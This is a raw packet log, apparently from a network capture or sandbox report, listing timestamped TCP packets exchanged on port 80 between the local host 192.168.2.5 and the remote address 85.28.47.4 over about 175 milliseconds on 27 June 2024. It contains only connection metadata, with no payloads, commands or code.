Jun 27, 2024 19:25:54.621289968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.621320009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.621335983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.621999025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.622020006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.622030020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.622045040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.622064114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.622065067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.622117043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.622129917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.622140884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.622152090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.622168064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.622185946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.622195005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.622226954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.622237921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.622247934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.622257948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.622284889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.622301102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.623050928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.623100042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.623146057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.623159885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.623198032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.623226881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.623239040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.623265982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.623300076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.623311996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.623322010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.623349905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.623354912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.623361111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.623367071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.623382092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.623393059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.623403072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.623420000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.623971939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.623984098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.623995066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.624022007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.624041080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.688975096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.689043045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.689165115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.689176083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.689187050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.689198017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.689209938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.689212084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.689219952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.689232111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.689234972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.689264059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.689296007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.695768118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.695810080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.695822954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.695838928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.695856094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.695861101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.695890903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.695893049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.695933104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.695965052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.696016073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.696352959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.696398020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.696398973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.696408987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.696449995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.696449995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.696500063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.696513891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.696525097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.696542978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.696568012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.696594954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.696609020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.696644068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.696676016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.701253891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701266050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701287985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701329947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.701329947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.701329947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.701479912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701505899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701519012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701544046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.701545000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.701579094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.701596975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701607943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701617956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701641083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.701673985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.701685905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701699018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701730013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.701762915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.701863050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701874018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701884985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701900005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701910019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701919079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.701926947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701937914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.701940060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701952934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701961040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.701967955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.701982021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.702002048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.702037096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.702290058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.702300072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.702311993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.702343941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.702357054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.702366114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.702369928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.702382088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.702394009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.702400923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.702423096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.702423096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.702461004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.702486992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.702500105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.702531099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.702564001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.707406998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.707458019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.707469940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.707483053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.707520008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.707520008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.707695007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.707705021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.707715034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.707725048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.707746983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.707777977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.707796097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.707840919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.707911968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.707962036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.707971096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.707983017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708034992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708034992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708080053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708090067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708102942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708112955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708123922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708133936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708167076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708167076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708261967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708272934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708283901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708313942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708348036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708355904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708369970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708405972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708406925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708463907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708486080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708498955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708509922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708520889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708532095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708535910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708535910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708560944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708702087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708751917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708754063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708761930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708803892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708803892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708878040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708889008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708904028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708914995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.708933115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708965063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.708997965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709042072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.709130049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709141970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709152937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709162951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709173918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709183931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709184885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.709218025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.709218025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.709252119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709266901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709300041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.709332943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.709595919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709606886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709619045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709650993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.709682941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.709702969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709716082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709728003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709739923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709753990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.709754944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.709789038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.709789038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.709887981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709901094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.709940910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.712307930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.712363958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.712374926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.712418079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.712418079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.712434053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.712443113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.712445021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.712455988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.712476015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.712544918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.712547064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.712555885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.712568045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.712587118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.712616920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.777569056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.777621984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.777637959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.777640104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.777659893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.777674913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.777681112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.777688026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.777698994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.777710915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.777714968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.777724981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.777748108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.785981894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.786032915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.786032915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.786043882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.786072016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.786087036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.786103964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.786114931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.786124945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.786144018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.786166906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.786289930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.786300898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.786312103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.786324024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.786335945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.786339045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.786349058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.786349058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.786375046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.786393881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.786427975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.786439896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.786465883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.786480904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.789810896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.789856911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.789863110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.789876938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.789886951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.789899111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.789905071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.789916039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.789932966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790014029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790024996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790035009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790045977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790059090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790061951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790075064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790091991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790122032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790160894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790182114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790220976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790234089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790246010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790256023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790271044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790287018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790385008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790395975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790405989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790416956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790429115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790431976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790443897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790468931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790539026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790554047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790580988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790600061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790610075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790621996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790631056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790652037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790659904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790661097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790698051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790719986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790731907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.790760994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.790776014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.795941114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.795953989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.795964956 CEST	80	49705	85.28.47.4	192.168.2.5
